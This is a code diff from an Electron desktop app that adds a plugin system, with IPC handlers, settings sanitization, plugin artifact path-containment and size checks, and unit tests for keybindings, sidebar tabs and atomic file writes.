enabled: parsed.enabled,
|
||||
originWebContentsId: event.sender.id
|
||||
})
|
||||
return listPluginsForClients(pluginService)
|
||||
})
|
||||
|
||||
// Why: the renderer renders panel HTML via a sandboxed iframe srcdoc, so it
|
||||
// needs (CSP-wrapped) file contents — never a file:// path — across IPC.
|
||||
ipcMain.handle(
|
||||
'plugins:readPanelEntry',
|
||||
async (event, args: unknown): Promise<PluginPanelEntry | null> => {
|
||||
const ownerKey = rendererPanelOwner(event.sender.id)
|
||||
const ownerLease = bindPluginPanelOwnerLifecycle(event.sender, () =>
|
||||
pluginService.panels.revokeOwner(ownerKey)
|
||||
)
|
||||
await pluginService.whenReady()
|
||||
const parsed = readPanelEntryArgsSchema.parse(args)
|
||||
const entry = await pluginService.panels.open(ownerKey, parsed.pluginKey, parsed.panelId)
|
||||
if (!ownerLease.isCurrent()) {
|
||||
pluginService.panels.revokeOwner(ownerKey)
|
||||
return null
|
||||
}
|
||||
return entry
|
||||
}
|
||||
)
|
||||
|
||||
// Panel-originated actions relayed by the renderer's postMessage bridge
|
||||
// host. Capability enforcement happens in main, never in the renderer.
|
||||
ipcMain.handle(
|
||||
'plugins:panelAction',
|
||||
async (event, args: unknown): Promise<PluginPanelActionOutcome> => {
|
||||
await pluginService.whenReady()
|
||||
return pluginService.panels.execute(rendererPanelOwner(event.sender.id), args)
|
||||
}
|
||||
)
|
||||
|
||||
ipcMain.handle('plugins:invokeCommand', async (_event, args: unknown) => {
|
||||
await pluginService.whenReady()
|
||||
const parsed = invokeCommandArgsSchema.parse(args)
|
||||
return pluginService.invokeCommand(parsed.pluginKey, parsed.commandId, parsed.args)
|
||||
})
|
||||
|
||||
ipcMain.handle('plugins:install', async (_event, args: unknown) => {
|
||||
await pluginService.whenReady()
|
||||
const parsed = parsePluginInstallArgs(args)
|
||||
const pluginsDir = getUserPluginsDir(pluginService.options.userDataPath)
|
||||
const hostVersion = pluginService.options.hostVersion
|
||||
const blockedPluginReason = (pluginKey: string): string | null =>
|
||||
pluginService.options.getPluginKillListEntry?.(pluginKey)?.reason ?? null
|
||||
const result =
|
||||
parsed.kind === 'local-path'
|
||||
? await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath: parsed.path,
|
||||
hostVersion,
|
||||
blockedPluginReason
|
||||
})
|
||||
: await installPluginFromGit({
|
||||
pluginsDir,
|
||||
url: parsed.url,
|
||||
ref: parsed.ref,
|
||||
hostVersion,
|
||||
blockedPluginReason
|
||||
})
|
||||
if (result.ok) {
|
||||
await pluginService.refresh()
|
||||
}
|
||||
return result
|
||||
})
|
||||
|
||||
ipcMain.handle('plugins:remove', async (event, args: unknown) => {
|
||||
await pluginService.whenReady()
|
||||
const parsed = removeArgsSchema.parse(args)
|
||||
const pluginsDir = getUserPluginsDir(pluginService.options.userDataPath)
|
||||
const lock = await readPluginLockfile(pluginsDir)
|
||||
if (!canRemoveInstalledPlugin(pluginService, parsed.pluginKey, lock)) {
|
||||
throw new Error(`cannot remove protected or non-installed plugin ${parsed.pluginKey}`)
|
||||
}
|
||||
await pluginService.deactivatePlugin(parsed.pluginKey)
|
||||
await removeInstalledPlugin({
|
||||
pluginsDir,
|
||||
pluginsDataDir: getPluginsDataDir(pluginService.options.userDataPath),
|
||||
pluginKey: parsed.pluginKey
|
||||
})
|
||||
// Drop the stale consent so a later reinstall re-prompts from scratch.
|
||||
const settings = store.getSettings()
|
||||
const consents = { ...settings.pluginConsents }
|
||||
delete consents[parsed.pluginKey]
|
||||
const disabledPlugins = normalizePluginIdList(settings.disabledPlugins).filter(
|
||||
(pluginKey) => pluginKey !== parsed.pluginKey
|
||||
)
|
||||
store.updateSettings(
|
||||
{ pluginConsents: consents, disabledPlugins },
|
||||
{ notifyListeners: true, originWebContentsId: event.sender.id }
|
||||
)
|
||||
await pluginService.refresh()
|
||||
return listPluginsForClients(pluginService)
|
||||
})
|
||||
|
||||
ipcMain.handle('plugins:getLogs', async (_event, args: unknown) => {
|
||||
const parsed = logsArgsSchema.parse(args)
|
||||
return pluginService.getLogs(parsed.pluginKey)
|
||||
})
|
||||
|
||||
// Re-discover after settings edits (feature flag, dev paths) — the
|
||||
// renderer calls this right after updating those settings.
|
||||
ipcMain.handle('plugins:refresh', async () => {
|
||||
await pluginService.refresh()
|
||||
return listPluginsForClients(pluginService)
|
||||
})
|
||||
if (marketplaceServices) {
|
||||
registerPluginMarketplaceHandlers(pluginService, marketplaceServices)
|
||||
}
|
||||
}
|
||||
|
|
@ -532,7 +532,7 @@ describe('registerCoreHandlers', () => {
|
|||
expect(registerFilesystemHandlersMock).toHaveBeenCalledWith(store)
|
||||
expect(registerRuntimeHandlersMock).toHaveBeenCalledWith(runtime)
|
||||
expect(registerRuntimeEnvironmentHandlersMock).toHaveBeenCalledWith(store)
|
||||
expect(registerEphemeralVmHandlersMock).toHaveBeenCalledWith(store)
|
||||
expect(registerEphemeralVmHandlersMock).toHaveBeenCalledWith(store, undefined)
|
||||
expect(registerAiVaultHandlersMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
getAdditionalCodexHomePaths: getAdditionalAiVaultCodexHomePaths,
|
||||
|
|
|
|||
|
|
@ -48,6 +48,7 @@ import { registerTelemetryHandlers } from './telemetry'
|
|||
import { registerBrowserHandlers } from './browser'
|
||||
import { registerShellHandlers } from './shell'
|
||||
import { registerPetHandlers } from './pet'
|
||||
import { registerPluginHandlers } from './plugins'
|
||||
import { registerUIHandlers, setTrustedUIRendererWebContentsId } from './ui'
|
||||
import { registerEmulatorFrameStreamHandlers } from './emulator-frame-stream'
|
||||
import { registerEmulatorVideoStreamHandlers } from './emulator-video-stream'
|
||||
|
|
@ -86,6 +87,8 @@ import {
|
|||
prepareRuntimeAiVaultSessionResume,
|
||||
scanRuntimeAiVaultSessions
|
||||
} from '../ai-vault/runtime-session-scanner'
|
||||
import type { PluginService } from '../plugins/plugin-service'
|
||||
import type { PluginMarketplaceHandlerServices } from './plugin-marketplaces'
|
||||
|
||||
let registered = false
|
||||
|
||||
|
|
@ -115,7 +118,9 @@ export function registerCoreHandlers(
|
|||
agentAwakeService?: AgentAwakeService,
|
||||
crashReports?: CrashReportStore,
|
||||
keybindings?: KeybindingService,
|
||||
lifecycleOptions: CoreHandlerLifecycleOptions = {}
|
||||
lifecycleOptions: CoreHandlerLifecycleOptions = {},
|
||||
pluginService?: PluginService,
|
||||
marketplaceServices?: PluginMarketplaceHandlerServices
|
||||
): void {
|
||||
// Why: on macOS the app can stay alive after all windows close, then
|
||||
// openMainWindow() is called again on 'activate'. ipcMain.handle() throws
|
||||
|
|
@ -175,7 +180,12 @@ export function registerCoreHandlers(
|
|||
registerAutomationHandlers(store, automations)
|
||||
}
|
||||
if (keybindings) {
|
||||
registerKeybindingHandlers(keybindings)
|
||||
registerKeybindingHandlers(keybindings, () => {
|
||||
void pluginService?.reconcileActivationState()
|
||||
})
|
||||
}
|
||||
if (pluginService) {
|
||||
registerPluginHandlers(store, pluginService, runtime, marketplaceServices)
|
||||
}
|
||||
registerTelemetryHandlers(store)
|
||||
registerOrcaProfileHandlers(store, {
|
||||
|
|
@ -201,7 +211,7 @@ export function registerCoreHandlers(
|
|||
registerFilesystemWatcherHandlers()
|
||||
registerRuntimeHandlers(runtime)
|
||||
registerRuntimeEnvironmentHandlers(store)
|
||||
registerEphemeralVmHandlers(store)
|
||||
registerEphemeralVmHandlers(store, pluginService)
|
||||
registerAiVaultHandlers({
|
||||
getAdditionalCodexHomePaths: lifecycleOptions.getAdditionalAiVaultCodexHomePaths,
|
||||
prepareSessionResume: lifecycleOptions.prepareAiVaultSessionResume,
|
||||
|
|
|
|||
|
|
@ -384,6 +384,27 @@ describe('registerSettingsHandlers', () => {
|
|||
)
|
||||
})
|
||||
|
||||
it('does not accept plugin authority grants from generic renderer settings IPC', async () => {
|
||||
store.getSettings.mockReturnValue({ pluginConsents: {}, disabledPlugins: [] })
|
||||
store.updateSettings.mockReturnValue({ pluginConsents: {}, disabledPlugins: [] })
|
||||
registerSettingsHandlers(store as never)
|
||||
|
||||
const handler = handleMock.mock.calls.find((call) => call[0] === 'settings:set')?.[1] as (
|
||||
_event: unknown,
|
||||
args: unknown
|
||||
) => Promise<unknown>
|
||||
|
||||
await handler(settingsInvokeEvent, {
|
||||
pluginConsents: { 'orca-samples.demo': 'sha256-forged' },
|
||||
disabledPlugins: ['orca-samples.demo']
|
||||
})
|
||||
|
||||
expect(store.updateSettings).toHaveBeenCalledWith(
|
||||
{},
|
||||
{ notifyListeners: true, originWebContentsId: 1 }
|
||||
)
|
||||
})
|
||||
|
||||
it('normalizes terminal scrollback row updates and drops legacy byte updates', async () => {
|
||||
store.getSettings.mockReturnValue({ terminalScrollbackRows: 5_000 })
|
||||
store.updateSettings.mockReturnValue({ terminalScrollbackRows: 50_000 })
|
||||
|
|
|
|||
|
|
@ -37,6 +37,10 @@ function sanitizeRendererSettingsUpdate(args: Partial<GlobalSettings>): Partial<
|
|||
const { terminalScrollbackBytes: _legacyScrollbackBytes, ...sanitizedArgs } =
|
||||
args as LegacyTerminalScrollbackSettingsUpdate
|
||||
void _legacyScrollbackBytes
|
||||
// Plugin consent and enablement are main-owned authority state. Renderer
|
||||
// writes must pass the dedicated reviewed-fingerprint handlers.
|
||||
delete sanitizedArgs.pluginConsents
|
||||
delete sanitizedArgs.disabledPlugins
|
||||
return sanitizedArgs
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -95,7 +95,7 @@ import {
|
|||
isENOENT,
|
||||
registerWorktreeRootsForRepo
|
||||
} from './filesystem-auth'
|
||||
import type { OrcaRuntimeService } from '../runtime/orca-runtime'
|
||||
import type { OrcaRuntimeService, RuntimeWorktreeLifecycleEvent } from '../runtime/orca-runtime'
|
||||
import { killAllProcessesForWorktree } from '../runtime/worktree-teardown'
|
||||
import { clearProviderPtyState, getLocalPtyProvider, getSshPtyProvider } from './pty'
|
||||
import { findExistingWorktreeSymlinkPaths, removeWorktreeLinkedPaths } from './worktree-symlinks'
|
||||
|
|
@ -987,7 +987,8 @@ function buildDisconnectedDetectedWorktrees(
|
|||
export function registerWorktreeHandlers(
|
||||
mainWindow: BrowserWindow,
|
||||
store: Store,
|
||||
runtime: OrcaRuntimeService
|
||||
runtime: OrcaRuntimeService,
|
||||
options?: { onWorktreeLifecycle?: (event: RuntimeWorktreeLifecycleEvent) => void }
|
||||
): void {
|
||||
// Remove previously registered handlers so re-register works when macOS re-activates and creates a new window.
|
||||
ipcMain.removeHandler('worktrees:listAll')
|
||||
|
|
@ -1285,6 +1286,13 @@ export function registerWorktreeHandlers(
|
|||
notifyWorktreesChanged(mainWindow, repo.id)
|
||||
}
|
||||
|
||||
options?.onWorktreeLifecycle?.({
|
||||
kind: 'created',
|
||||
worktreeId: result.worktree.id,
|
||||
path: result.worktree.path,
|
||||
branch: result.worktree.branch
|
||||
})
|
||||
|
||||
return result
|
||||
})
|
||||
}
|
||||
|
|
@ -1902,7 +1910,13 @@ export function registerWorktreeHandlers(
|
|||
})()
|
||||
worktreeRemovalsInFlight.set(inFlightKey, { optionsKey, promise: removal })
|
||||
try {
|
||||
return await removal
|
||||
const result = await removal
|
||||
options?.onWorktreeLifecycle?.({
|
||||
kind: 'removed',
|
||||
worktreeId: args.worktreeId,
|
||||
path: parseWorktreeId(args.worktreeId).worktreePath
|
||||
})
|
||||
return result
|
||||
} finally {
|
||||
if (worktreeRemovalsInFlight.get(inFlightKey)?.promise === removal) {
|
||||
worktreeRemovalsInFlight.delete(inFlightKey)
|
||||
|
|
|
|||
|
|
@ -92,6 +92,32 @@ describe('keybinding-file', () => {
|
|||
})
|
||||
})
|
||||
|
||||
it('preserves valid plugin overrides while rejecting malformed plugin action IDs', () => {
|
||||
writeFileSync(
|
||||
filePath,
|
||||
JSON.stringify({
|
||||
keybindings: {
|
||||
'plugin:orca-samples.tasks/open': 'Mod+Shift+T',
|
||||
'plugin:tasks/open': 'Mod+Alt+T'
|
||||
}
|
||||
}),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
const snapshot = readKeybindingFile(filePath, 'linux')
|
||||
expect(snapshot.overrides).toEqual({
|
||||
'plugin:orca-samples.tasks/open': ['Mod+Shift+T']
|
||||
})
|
||||
expect(snapshot.diagnostics).toMatchObject([
|
||||
{ severity: 'warning', actionId: 'plugin:tasks/open' }
|
||||
])
|
||||
|
||||
writeKeybindingOverride(filePath, 'linux', 'plugin:orca-samples.tasks/open', [])
|
||||
expect(readKeybindingFile(filePath, 'linux').overrides).toEqual({
|
||||
'plugin:orca-samples.tasks/open': []
|
||||
})
|
||||
})
|
||||
|
||||
it('ignores invalid, unknown, and conflicting manual edits', () => {
|
||||
writeFileSync(
|
||||
filePath,
|
||||
|
|
|
|||
|
|
@ -0,0 +1,49 @@
|
|||
import { describe, expect, it, vi } from 'vitest'
|
||||
|
||||
// Why: persistence.ts touches electron at import time; a minimal stub keeps
|
||||
// this normalizer test focused instead of booting the full Store fixture.
|
||||
vi.mock('electron', () => ({
|
||||
app: {
|
||||
getPath: () => '/tmp/orca-persistence-right-sidebar-tab-test'
|
||||
},
|
||||
safeStorage: {
|
||||
isEncryptionAvailable: () => false,
|
||||
encryptString: (plaintext: string) => Buffer.from(plaintext, 'utf-8'),
|
||||
decryptString: (ciphertext: Buffer) => ciphertext.toString('utf-8')
|
||||
}
|
||||
}))
|
||||
|
||||
import { normalizeRightSidebarTab } from './persistence'
|
||||
|
||||
describe('normalizeRightSidebarTab', () => {
|
||||
it.each(['explorer', 'search', 'vault', 'workspaces', 'source-control', 'checks', 'ports'])(
|
||||
'preserves the built-in %s tab',
|
||||
(tab) => {
|
||||
expect(normalizeRightSidebarTab(tab)).toBe(tab)
|
||||
}
|
||||
)
|
||||
|
||||
// Regression: pr-checks was missing from the allow-list, so the folder
|
||||
// PR Checks tab silently reset to Explorer on every app restart.
|
||||
it('preserves the folder-only pr-checks tab across restarts', () => {
|
||||
expect(normalizeRightSidebarTab('pr-checks')).toBe('pr-checks')
|
||||
})
|
||||
|
||||
it('preserves well-formed plugin panel tabs', () => {
|
||||
expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin/dashboard')).toBe(
|
||||
'plugin:orca-samples.my-plugin/dashboard'
|
||||
)
|
||||
})
|
||||
|
||||
it('normalizes malformed plugin tabs to the default tab', () => {
|
||||
expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin')).toBe('explorer')
|
||||
expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin/panel/extra')).toBe('explorer')
|
||||
expect(normalizeRightSidebarTab('plugin:My_Plugin/Panel!')).toBe('explorer')
|
||||
})
|
||||
|
||||
it('normalizes unknown values to the default tab', () => {
|
||||
expect(normalizeRightSidebarTab('bogus')).toBe('explorer')
|
||||
expect(normalizeRightSidebarTab(undefined)).toBe('explorer')
|
||||
expect(normalizeRightSidebarTab(42)).toBe('explorer')
|
||||
})
|
||||
})
|
||||
|
|
@ -72,6 +72,7 @@ import {
|
|||
normalizeProjectRuntimePreference
|
||||
} from '../shared/project-execution-runtime'
|
||||
import { projectHostSetupProjectionFromRepos } from '../shared/project-host-setup-projection'
|
||||
import { isPluginPanelTabKey } from '../shared/plugins/plugin-manifest'
|
||||
import type { GitRemoteIdentity } from '../shared/git-remote-identity'
|
||||
import {
|
||||
buildTaskSourceContextFromRepo,
|
||||
|
|
@ -781,18 +782,24 @@ function normalizeProjectOrderBy(projectOrderBy: unknown): PersistedState['ui'][
|
|||
return getDefaultUIState().projectOrderBy
|
||||
}
|
||||
|
||||
function normalizeRightSidebarTab(tab: unknown): PersistedState['ui']['rightSidebarTab'] {
|
||||
export function normalizeRightSidebarTab(tab: unknown): PersistedState['ui']['rightSidebarTab'] {
|
||||
if (
|
||||
tab === 'explorer' ||
|
||||
tab === 'search' ||
|
||||
tab === 'vault' ||
|
||||
tab === 'workspaces' ||
|
||||
tab === 'pr-checks' ||
|
||||
tab === 'source-control' ||
|
||||
tab === 'checks' ||
|
||||
tab === 'ports'
|
||||
) {
|
||||
return tab
|
||||
}
|
||||
// Why: plugin tabs are open-ended `plugin:<publisher>.<id>/<panel>` keys; validate the
|
||||
// shape so a persisted plugin tab doesn't reset to Explorer on restart.
|
||||
if (typeof tab === 'string' && isPluginPanelTabKey(tab)) {
|
||||
return tab
|
||||
}
|
||||
return getDefaultUIState().rightSidebarTab
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,26 @@
|
|||
import {
|
||||
getPluginActivationState,
|
||||
type PluginConsentLists
|
||||
} from '../../shared/plugins/plugin-consent-state'
|
||||
import type { ValidDiscoveredPlugin } from './plugin-discovery'
|
||||
|
||||
export function snapshotPluginConsentLists(source: {
|
||||
getPluginConsents: () => Record<string, string>
|
||||
getDisabledPlugins: () => string[]
|
||||
}): PluginConsentLists {
|
||||
return {
|
||||
pluginConsents: source.getPluginConsents(),
|
||||
disabledPlugins: source.getDisabledPlugins()
|
||||
}
|
||||
}
|
||||
|
||||
export function isPluginApproved(
|
||||
enabled: boolean,
|
||||
plugin: ValidDiscoveredPlugin,
|
||||
lists: PluginConsentLists
|
||||
): boolean {
|
||||
return (
|
||||
enabled &&
|
||||
getPluginActivationState(plugin.pluginKey, plugin.consentFingerprint, lists) === 'approved'
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
import type { OrcaVmRecipe } from '../../shared/types'
|
||||
import type { PluginService } from './plugin-service'
|
||||
|
||||
export async function getApprovedPluginVmRecipes(
|
||||
pluginService?: PluginService
|
||||
): Promise<OrcaVmRecipe[]> {
|
||||
if (!pluginService) {
|
||||
return []
|
||||
}
|
||||
await pluginService.whenReady()
|
||||
return pluginService.contentPacks.vmRecipes.list().map(({ recipe }) => recipe)
|
||||
}
|
||||
|
|
@ -0,0 +1,193 @@
|
|||
import { createReadStream } from 'node:fs'
|
||||
import { realpath, stat } from 'node:fs/promises'
|
||||
import { isAbsolute, relative, resolve, sep } from 'node:path'
|
||||
import type { PluginManifest } from '../../shared/plugins/plugin-manifest'
|
||||
import { parsePluginVmRecipeArtifact } from '../../shared/plugins/plugin-vm-recipe-artifact'
|
||||
|
||||
export type PluginArtifactValidationResult = { ok: true } | { ok: false; error: string }
|
||||
|
||||
export const PLUGIN_PANEL_ENTRY_MAX_BYTES = 10 * 1024 * 1024
|
||||
export const PLUGIN_WORKER_ENTRY_MAX_BYTES = 50 * 1024 * 1024
|
||||
const PLUGIN_ICON_MAX_BYTES = 2 * 1024 * 1024
|
||||
export const PLUGIN_LANGUAGE_PACK_MAX_BYTES = 5 * 1024 * 1024
|
||||
export const PLUGIN_VM_RECIPE_MAX_BYTES = 256 * 1024
|
||||
const PLUGIN_AGENT_PROFILE_MAX_BYTES = 1024 * 1024
|
||||
|
||||
type DeclaredArtifact =
|
||||
| { label: string; path: string; kind: 'file'; maxBytes: number }
|
||||
| { label: string; path: string; kind: 'directory' }
|
||||
|
||||
function declaredArtifactPaths(manifest: PluginManifest): DeclaredArtifact[] {
|
||||
return [
|
||||
...(manifest.icon
|
||||
? [
|
||||
{
|
||||
label: 'icon',
|
||||
path: manifest.icon,
|
||||
kind: 'file' as const,
|
||||
maxBytes: PLUGIN_ICON_MAX_BYTES
|
||||
}
|
||||
]
|
||||
: []),
|
||||
...(manifest.main
|
||||
? [
|
||||
{
|
||||
label: 'worker entry',
|
||||
path: manifest.main,
|
||||
kind: 'file' as const,
|
||||
maxBytes: PLUGIN_WORKER_ENTRY_MAX_BYTES
|
||||
}
|
||||
]
|
||||
: []),
|
||||
...manifest.contributes.panels.map((panel) => ({
|
||||
label: `panel "${panel.id}" entry`,
|
||||
path: panel.entry,
|
||||
kind: 'file' as const,
|
||||
maxBytes: PLUGIN_PANEL_ENTRY_MAX_BYTES
|
||||
})),
|
||||
...manifest.contributes.languagePacks.map((languagePack) => ({
|
||||
label: `language pack "${languagePack.locale}"`,
|
||||
path: languagePack.path,
|
||||
kind: 'file' as const,
|
||||
maxBytes: PLUGIN_LANGUAGE_PACK_MAX_BYTES
|
||||
})),
|
||||
...manifest.contributes.vmRecipes.map((recipe) => ({
|
||||
label: 'VM recipe',
|
||||
path: recipe.path,
|
||||
kind: 'file' as const,
|
||||
maxBytes: PLUGIN_VM_RECIPE_MAX_BYTES
|
||||
})),
|
||||
...manifest.contributes.agents.map((agent) => ({
|
||||
label: 'agent profile',
|
||||
path: agent.path,
|
||||
kind: 'file' as const,
|
||||
maxBytes: PLUGIN_AGENT_PROFILE_MAX_BYTES
|
||||
}))
|
||||
]
|
||||
}
|
||||
|
||||
export async function resolveContainedPluginArtifact(
|
||||
rootDir: string,
|
||||
relativePath: string,
|
||||
maxBytes = PLUGIN_WORKER_ENTRY_MAX_BYTES
|
||||
): Promise<string> {
|
||||
const rootReal = await realpath(resolve(rootDir))
|
||||
return resolvePathFromRealRoot(rootDir, rootReal, relativePath, 'file', maxBytes)
|
||||
}
|
||||
|
||||
export async function readContainedPluginArtifactText(
|
||||
rootDir: string,
|
||||
relativePath: string,
|
||||
maxBytes: number
|
||||
): Promise<string> {
|
||||
const artifact = await resolveContainedPluginArtifact(rootDir, relativePath, maxBytes)
|
||||
const chunks: Buffer[] = []
|
||||
let totalBytes = 0
|
||||
for await (const chunk of createReadStream(artifact)) {
|
||||
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
|
||||
totalBytes += bytes.byteLength
|
||||
if (totalBytes > maxBytes) {
|
||||
throw new Error(`exceeds the ${maxBytes}-byte artifact limit`)
|
||||
}
|
||||
chunks.push(bytes)
|
||||
}
|
||||
return Buffer.concat(chunks, totalBytes).toString('utf8')
|
||||
}
|
||||
|
||||
async function resolvePathFromRealRoot(
|
||||
rootDir: string,
|
||||
rootReal: string,
|
||||
relativePath: string,
|
||||
kind: 'file' | 'directory',
|
||||
maxBytes?: number
|
||||
): Promise<string> {
|
||||
const artifactReal = await realpath(resolve(rootDir, ...relativePath.split(/[\\/]/)))
|
||||
const fromRoot = relative(rootReal, artifactReal)
|
||||
if (
|
||||
fromRoot.length === 0 ||
|
||||
isAbsolute(fromRoot) ||
|
||||
fromRoot === '..' ||
|
||||
fromRoot.startsWith(`..${sep}`)
|
||||
) {
|
||||
throw new Error('resolves outside the plugin directory')
|
||||
}
|
||||
const artifactStat = await stat(artifactReal)
|
||||
if (kind === 'file' && !artifactStat.isFile()) {
|
||||
throw new Error('is not a regular file')
|
||||
}
|
||||
if (kind === 'directory' && !artifactStat.isDirectory()) {
|
||||
throw new Error('is not a directory')
|
||||
}
|
||||
if (kind === 'file' && maxBytes !== undefined && artifactStat.size > maxBytes) {
|
||||
throw new Error(`exceeds the ${maxBytes}-byte artifact limit`)
|
||||
}
|
||||
return artifactReal
|
||||
}
|
||||
|
||||
/** Presence and containment checks are bounded by the manifest's declared artifacts. */
|
||||
export async function validateDeclaredPluginArtifacts(
|
||||
rootDir: string,
|
||||
manifest: PluginManifest
|
||||
): Promise<PluginArtifactValidationResult> {
|
||||
const artifacts = declaredArtifactPaths(manifest)
|
||||
if (artifacts.length === 0) {
|
||||
return { ok: true }
|
||||
}
|
||||
const seen = new Set<string>()
|
||||
let rootReal: string
|
||||
try {
|
||||
rootReal = await realpath(resolve(rootDir))
|
||||
} catch (error) {
|
||||
return { ok: false, error: error instanceof Error ? error.message : String(error) }
|
||||
}
|
||||
for (const artifact of artifacts) {
|
||||
if (seen.has(artifact.path)) {
|
||||
continue
|
||||
}
|
||||
seen.add(artifact.path)
|
||||
try {
|
||||
await resolvePathFromRealRoot(
|
||||
rootDir,
|
||||
rootReal,
|
||||
artifact.path,
|
||||
artifact.kind,
|
||||
artifact.kind === 'file' ? artifact.maxBytes : undefined
|
||||
)
|
||||
} catch (error) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `${artifact.label} ${artifact.path}: ${error instanceof Error ? error.message : String(error)}`
|
||||
}
|
||||
}
|
||||
}
|
||||
return { ok: true }
|
||||
}
|
||||
|
||||
/** Parses declared VM recipe artifacts at the immutable install boundary. */
|
||||
export async function validatePluginInstallContent(
|
||||
rootDir: string,
|
||||
manifest: PluginManifest
|
||||
): Promise<PluginArtifactValidationResult> {
|
||||
const vmRecipeIds = new Set<string>()
|
||||
for (const contribution of manifest.contributes.vmRecipes) {
|
||||
try {
|
||||
const recipe = parsePluginVmRecipeArtifact(
|
||||
await readContainedPluginArtifactText(
|
||||
rootDir,
|
||||
contribution.path,
|
||||
PLUGIN_VM_RECIPE_MAX_BYTES
|
||||
)
|
||||
)
|
||||
if (vmRecipeIds.has(recipe.id)) {
|
||||
throw new Error(`duplicate VM recipe id "${recipe.id}"`)
|
||||
}
|
||||
vmRecipeIds.add(recipe.id)
|
||||
} catch (error) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `VM recipe ${contribution.path}: ${error instanceof Error ? error.message : String(error)}`
|
||||
}
|
||||
}
|
||||
}
|
||||
return { ok: true }
|
||||
}
|
||||
|
|
@ -0,0 +1,187 @@
|
|||
import { mkdtemp, readFile, readdir, rm, stat } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import type * as FsPromises from 'node:fs/promises'
|
||||
import {
|
||||
renamePluginFileWithWindowsRetry,
|
||||
writePluginFileAtomically
|
||||
} from './plugin-atomic-file-write'
|
||||
|
||||
// Windows AV/indexer locks cannot be provoked on CI, so queue the errno codes instead.
|
||||
const locks = vi.hoisted(() => ({ codes: [] as string[] }))
|
||||
|
||||
vi.mock('node:fs/promises', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof FsPromises>()
|
||||
return {
|
||||
...actual,
|
||||
rename: async (source: string, target: string) => {
|
||||
const code = locks.codes.shift()
|
||||
if (!code) {
|
||||
return actual.rename(source, target)
|
||||
}
|
||||
throw Object.assign(new Error(`simulated ${code}`), { code })
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
function withPlatform(platform: string): () => void {
|
||||
const original = Object.getOwnPropertyDescriptor(process, 'platform')
|
||||
Object.defineProperty(process, 'platform', { value: platform, configurable: true })
|
||||
return () => {
|
||||
if (original) {
|
||||
Object.defineProperty(process, 'platform', original)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
describe('writePluginFileAtomically', () => {
|
||||
let dir: string
|
||||
|
||||
beforeEach(async () => {
|
||||
dir = await mkdtemp(join(tmpdir(), 'orca-plugin-atomic-'))
|
||||
})
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(dir, { recursive: true, force: true })
|
||||
})
|
||||
|
||||
it('writes contents and leaves no temp file behind', async () => {
|
||||
const target = join(dir, 'current')
|
||||
await writePluginFileAtomically(target, 'abc123')
|
||||
expect(await readFile(target, 'utf8')).toBe('abc123')
|
||||
expect(await readdir(dir)).toEqual(['current'])
|
||||
})
|
||||
|
||||
it('replaces an existing file', async () => {
|
||||
const target = join(dir, 'plugins.lock.json')
|
||||
await writePluginFileAtomically(target, 'first')
|
||||
await writePluginFileAtomically(target, 'second')
|
||||
expect(await readFile(target, 'utf8')).toBe('second')
|
||||
expect(await readdir(dir)).toEqual(['plugins.lock.json'])
|
||||
})
|
||||
|
||||
it('applies the requested mode', async () => {
|
||||
const target = join(dir, 'provenance.json')
|
||||
await writePluginFileAtomically(target, '{}', { mode: 0o600 })
|
||||
const mode = (await stat(target)).mode & 0o777
|
||||
// Windows does not model POSIX permission bits.
|
||||
if (process.platform !== 'win32') {
|
||||
expect(mode).toBe(0o600)
|
||||
}
|
||||
})
|
||||
|
||||
it('cleans up the temp file when the write fails', async () => {
|
||||
await expect(writePluginFileAtomically(join(dir, 'missing', 'x'), 'v')).rejects.toThrow()
|
||||
expect(await readdir(dir)).toEqual([])
|
||||
})
|
||||
|
||||
it('cleans up the temp file when the rename gives up', async () => {
|
||||
const restorePlatform = withPlatform('win32')
|
||||
locks.codes = Array.from({ length: 6 }, () => 'EPERM')
|
||||
try {
|
||||
await expect(writePluginFileAtomically(join(dir, 'current'), 'v')).rejects.toMatchObject({
|
||||
code: 'EPERM'
|
||||
})
|
||||
expect(await readdir(dir)).toEqual([])
|
||||
} finally {
|
||||
restorePlatform()
|
||||
locks.codes = []
|
||||
}
|
||||
})
|
||||
|
||||
it('runs concurrent writers to one target without leaking temp files', async () => {
|
||||
const target = join(dir, 'sources.json')
|
||||
await Promise.all(
|
||||
Array.from({ length: 8 }, (_unused, index) =>
|
||||
writePluginFileAtomically(target, `value-${index}`)
|
||||
)
|
||||
)
|
||||
expect(await readdir(dir)).toEqual(['sources.json'])
|
||||
expect(await readFile(target, 'utf8')).toMatch(/^value-\d$/)
|
||||
})
|
||||
})
|
||||
|
||||
describe('renamePluginFileWithWindowsRetry', () => {
|
||||
it('renames when the source exists', async () => {
|
||||
const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-'))
|
||||
try {
|
||||
await writePluginFileAtomically(join(dir, 'from'), 'payload')
|
||||
await renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
|
||||
expect(await readFile(join(dir, 'to'), 'utf8')).toBe('payload')
|
||||
} finally {
|
||||
await rm(dir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('rethrows a non-retryable error', async () => {
|
||||
const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-'))
|
||||
try {
|
||||
await expect(
|
||||
renamePluginFileWithWindowsRetry(join(dir, 'absent'), join(dir, 'to'))
|
||||
).rejects.toMatchObject({ code: 'ENOENT' })
|
||||
} finally {
|
||||
await rm(dir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
describe('on Windows', () => {
|
||||
let dir: string
|
